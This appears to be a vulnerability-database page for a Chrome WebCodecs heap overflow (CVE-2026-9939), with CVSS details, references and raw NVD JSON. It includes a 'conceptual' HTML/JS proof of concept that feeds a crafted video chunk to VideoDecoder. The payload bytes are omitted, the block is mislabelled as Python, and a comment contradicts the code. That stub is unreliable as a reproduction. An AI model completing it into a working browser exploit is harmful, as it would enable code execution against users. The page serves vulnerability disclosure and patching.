CVE-2026-9939

Description

Heap buffer overflow in WebCodecs in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9939 (Conceptual)
  This demonstrates the triggering condition for the WebCodecs Heap Overflow.
  Note: Specific payload bytes are omitted for safety.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9939 PoC</title>
</head>
<body>
    <script>
        async function triggerOverflow() {
            try {
                // Create a VideoDecoder instance targeting the vulnerable WebCodecs component
                const videoDecoder = new VideoDecoder({
                    output: (frame) => { console.log('Frame output'); },
                    error: (e) => { console.error('Decoder error:', e); }
                });

                // Configure the decoder (specific configuration may vary based on version)
                const config = {
                    codec: 'avc1.64001F', // Example H.264 codec
                    codedWidth: 1920,
                    codedHeight: 1080,
                    optimizeForLatency: true
                };
                videoDecoder.configure(config);

                // Construct malformed EncodedVideoChunk to trigger heap overflow
                // The data buffer contains specifically crafted bytes to corrupt the heap
                const maliciousData = new Uint8Array([0x00, 0x00, 0x00, 0x01 /* ... custom payload ... */]);
                const chunk = new EncodedVideoChunk({
                    type: 'key',
                    timestamp: 0,
                    data: maliciousData
                });

                // Feed the malicious chunk to the decoder
                videoDecoder.decode(chunk);
                
                console.log('Payload sent, check for crash or code execution.');
            } catch (error) {
                console.error('Exception during exploit:', error);
            }
        }

        // Trigger automatically on load (User Interaction required in real scenario)
        window.onload = () => {
            // UI:R requires user interaction, simulate button click
            document.body.innerHTML += '<button onclick="triggerOverflow()">Play Video</button>';
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9939
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9939
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9939/
[4] VulDB https://vuldb.com/cve/CVE-2026-9939
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/502735235

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9939", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:52.023", "lastModified": "2026-05-29T14:16:34.160", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in WebCodecs in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/502735235", "source": "[email protected]"}]}}